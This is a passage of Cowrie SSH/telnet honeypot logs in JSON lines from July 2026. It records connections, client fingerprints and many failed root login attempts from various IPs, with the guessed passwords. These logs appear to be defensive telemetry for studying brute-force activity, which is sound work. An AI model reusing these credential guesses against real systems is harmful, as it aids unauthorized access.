16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:57.252212Z","src_ip":"103.27.238.114","session":"b22db1840c32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17711771s","message":"login attempt [root/17711771s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:58.078796Z","src_ip":"103.27.238.114","session":"b22db1840c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:59.356415Z","src_ip":"103.27.238.114","session":"b22db1840c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01636362075806,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:14:24.242609Z","src_ip":"137.184.5.188","session":"c90c7c07ec9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":52468,"dst_ip":"10.17.0.5","dst_port":22,"session":"1823a60a1f4a","protocol":"ssh","message":"New connection: 51.250.105.222:52468 (10.17.0.5:22) [session: 1823a60a1f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:14:50.059094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:14:50.065063Z","src_ip":"51.250.105.222","session":"1823a60a1f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:14:50.195168Z","src_ip":"51.250.105.222","session":"1823a60a1f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:14:50.585220Z","src_ip":"51.250.105.222","session":"1823a60a1f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:14:51.717335Z","src_ip":"51.250.105.222","session":"1823a60a1f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":34444,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d8d9bea11a5","protocol":"ssh","message":"New connection: 194.113.233.25:34444 (159.203.135.109:22) [session: 6d8d9bea11a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:15:12.779405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:15:12.783305Z","src_ip":"194.113.233.25","session":"6d8d9bea11a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:15:12.867201Z","src_ip":"194.113.233.25","session":"6d8d9bea11a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20081980","message":"login attempt [root/20081980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:15:13.117982Z","src_ip":"194.113.233.25","session":"6d8d9bea11a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:15:14.204039Z","src_ip":"194.113.233.25","session":"6d8d9bea11a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41934,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9d2d0fc29db","protocol":"telnet","message":"New connection: 107.6.151.170:41934 (159.203.135.109:23) [session: e9d2d0fc29db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:15:57.581838Z"}
{"eventid":"cowrie.session.closed","duration":0.00421452522277832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:15:57.585935Z","src_ip":"107.6.151.170","session":"e9d2d0fc29db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":50432,"dst_ip":"10.17.0.5","dst_port":22,"session":"f37071536b99","protocol":"ssh","message":"New connection: 194.36.147.215:50432 (10.17.0.5:22) [session: f37071536b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:16:08.134689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:16:08.138960Z","src_ip":"194.36.147.215","session":"f37071536b99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:16:08.228136Z","src_ip":"194.36.147.215","session":"f37071536b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"D1g1f1n3x!S3cur3#","message":"login attempt [root/D1g1f1n3x!S3cur3#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:16:08.497177Z","src_ip":"194.36.147.215","session":"f37071536b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:16:09.589584Z","src_ip":"194.36.147.215","session":"f37071536b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":59506,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffc9d9864dc9","protocol":"telnet","message":"New connection: 107.6.151.170:59506 (159.203.135.109:23) [session: ffc9d9864dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:16:47.117296Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":48900,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f9b6975eb6d","protocol":"telnet","message":"New connection: 137.184.5.188:48900 (159.203.135.109:23) [session: 1f9b6975eb6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:17:24.903698Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":59424,"dst_ip":"10.17.0.5","dst_port":22,"session":"073e3d63f357","protocol":"ssh","message":"New connection: 144.91.108.61:59424 (10.17.0.5:22) [session: 073e3d63f357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:17:29.193126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:17:29.199151Z","src_ip":"144.91.108.61","session":"073e3d63f357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:17:29.290638Z","src_ip":"144.91.108.61","session":"073e3d63f357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fiji","password":"Suva#Ethereum@P@ssw0rd","message":"login attempt [fiji/Suva#Ethereum@P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:17:29.572258Z","src_ip":"144.91.108.61","session":"073e3d63f357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:17:30.666811Z","src_ip":"144.91.108.61","session":"073e3d63f357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":50040,"dst_ip":"159.203.135.109","dst_port":23,"session":"40d5eafc73f9","protocol":"telnet","message":"New connection: 137.184.5.188:50040 (159.203.135.109:23) [session: 40d5eafc73f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:17:32.474943Z"}
{"eventid":"cowrie.session.closed","duration":45.38501286506653,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:17:32.502216Z","src_ip":"107.6.151.170","session":"ffc9d9864dc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":54706,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f3ea9e5a015","protocol":"telnet","message":"New connection: 137.184.5.188:54706 (159.203.135.109:23) [session: 4f3ea9e5a015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:18:04.441928Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":54730,"dst_ip":"159.203.135.109","dst_port":22,"session":"14b019c295e6","protocol":"ssh","message":"New connection: 139.59.4.137:54730 (159.203.135.109:22) [session: 14b019c295e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:18:21.376415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:18:21.380118Z","src_ip":"139.59.4.137","session":"14b019c295e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:18:21.591958Z","src_ip":"139.59.4.137","session":"14b019c295e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jeff","message":"login attempt [root/jeff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:18:22.465661Z","src_ip":"139.59.4.137","session":"14b019c295e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:18:23.677336Z","src_ip":"139.59.4.137","session":"14b019c295e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":59760,"dst_ip":"159.203.135.109","dst_port":23,"session":"64c486611ed5","protocol":"telnet","message":"New connection: 137.184.5.188:59760 (159.203.135.109:23) [session: 64c486611ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:18:31.738099Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":46176,"dst_ip":"159.203.135.109","dst_port":22,"session":"170b7c6999f4","protocol":"ssh","message":"New connection: 147.45.211.215:46176 (159.203.135.109:22) [session: 170b7c6999f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:18:35.103140Z"}
{"eventid":"cowrie.session.closed","duration":89.00388026237488,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:18:53.907466Z","src_ip":"137.184.5.188","session":"1f9b6975eb6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":84.67166781425476,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:18:57.146505Z","src_ip":"137.184.5.188","session":"40d5eafc73f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":51708,"dst_ip":"159.203.135.109","dst_port":22,"session":"636bd9adda17","protocol":"ssh","message":"New connection: 87.251.79.125:51708 (159.203.135.109:22) [session: 636bd9adda17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:19:24.381542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:19:24.384303Z","src_ip":"87.251.79.125","session":"636bd9adda17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:19:24.454935Z","src_ip":"87.251.79.125","session":"636bd9adda17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serega1988","message":"login attempt [root/serega1988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:19:24.667194Z","src_ip":"87.251.79.125","session":"636bd9adda17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:19:25.740422Z","src_ip":"87.251.79.125","session":"636bd9adda17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":44060,"dst_ip":"159.203.135.109","dst_port":22,"session":"955e6836e77e","protocol":"ssh","message":"New connection: 103.82.132.16:44060 (159.203.135.109:22) [session: 955e6836e77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:19:26.050763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:19:26.054598Z","src_ip":"103.82.132.16","session":"955e6836e77e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:19:26.299637Z","src_ip":"103.82.132.16","session":"955e6836e77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"180782","message":"login attempt [root/180782] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:19:27.037960Z","src_ip":"103.82.132.16","session":"955e6836e77e","protocol":"ssh"}
